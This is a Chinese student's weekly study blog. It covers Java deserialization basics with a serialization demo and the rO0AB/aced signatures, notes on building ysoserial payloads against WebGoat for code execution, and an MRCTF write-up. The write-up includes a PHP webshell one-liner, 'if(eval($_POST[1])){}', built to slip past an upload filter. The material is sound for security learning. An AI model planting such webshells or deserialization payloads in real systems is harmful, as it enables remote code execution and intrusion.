Sunlight的一周知识动态
周三周四期中考试,准备了一波,把计网书后面的四个章习题撸了一下,之前做过的实验复习了一下,最后理论考的一般般,实验满分了。周五周日学了一下JAVA反序列化,入了一下门,周六玩了两个比赛:DASCTF、MRCTF,都只弄出来签到题,太难了。。
JAVA反序列化
知识点
1
- 序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
- 反序列化即逆过程,由字节流还原成对象
注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。
Java中的API实现:
位置: Java.io.ObjectOutputStream
java.io.ObjectInputStream
序列化: ObjectOutputStream
类 --> writeObject()
注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中
按Java的标准约定是给文件一个.ser扩展名
反序列化: ObjectInputStream
类 --> readObject()
注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
2
PHP里主要是魔术方法来触发漏洞,JAVA主要是控制数据的问题。
补充知识点
下方的特征可以作为序列化的标志参考:
- 一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
- 或者如果以aced开头,那么他就是这一段java序列化的16进制。
反序列化过程
- 序列化和反序列化就是一种格式转换的过程,把对象转换成其他格式。
package 反序列化1;
import java.io.*;
class Person implements Serializable{//注意Person一定要继承Serializeable接口
String name;
int age;
String sex;
int stuld;
public Person(String name,int age,String sex,int stuld){
this.name=name ;
this.age=age;
this.sex=sex;
this.stuld=stuld;
}
}
public class SerializebleTest {
//Person对象序列化
private static void serialPerson() throws IOException{
Person person = new Person ("xiaodi",28,"男",101);
ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream(new File("d:/person.txt"))
);
oos.writeObject(person);
System.out.println("person 对象序列化成功");
oos.close();
}
//Person对象反序列化
private static Person deserialPerson() throws Exception{
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream(new File("d:/person.txt"))
);
Person person = (Person)ois.readObject();
System.out.println("person 对象序列化成功");
return person;
}
public static void main (String[] args)throws Exception{
serialPerson();
Person person = deserialPerson();
System.out.println(person);
}
}
得到一个反序列化之后的结果:
payload构造过程
1、反弹shell
关于是否回显的问题(是否print输出到显示屏),我们需要进行反弹shell操作,避免不回显。
反弹命令的写法:windows Linux
一般输出的结果他会进行一波base64,所以都要反序列化之后base64加密一下:
小脚本:
import base64
c=open("payload.bin","rb").read()
cc=base64.urlsafe_b64encode(c)
open("payload.txt","wt",encoding="utf-8").write(cc.decode())
1、ysoserial工具的使用
webgoat实例
上传一个ysoserial工具构造出的payload,再用base64编码一下就可以实现任意代码代码执行
MRCTF wp
checkin
- 信息检索其实也是有技巧有方法的
在源码,目录中搜索:
- 有可能因为浏览器问题,一次性搜不出来所有东西,甚至不出现结果,要多试几次
搜索关键词:
- 1.flag、ctf、hint、txt、zip
- 2.比赛flag格式的前几位的base64编码,rot13编码。例如:
vishwactf{} --> dmlzaHdhY3Rme
MRCTF{} --> TVJDVEZ7
- 3.和题目提示相关的内容
- 4.jsfuck
+[] 和 []]
等等 - 5.其他的各种编码
- 6.
alert alert ( alert(
分别是alert和有空格和没空格 - 7.自建正则表达式
WebCheckIn
直接上传一个含木马的php文件,成功后拿蚁剑连接。找flag
php文件的过滤方式未知
但就是不能以;
为末尾,不能用?>
来闭合
一种解决方法:
if(eval($_POST[1])){}
既没有以;
来末尾,也没用?>
来闭合
find命令搜索flag:
1=find /var -type f | xargs grep 'MRCTF{'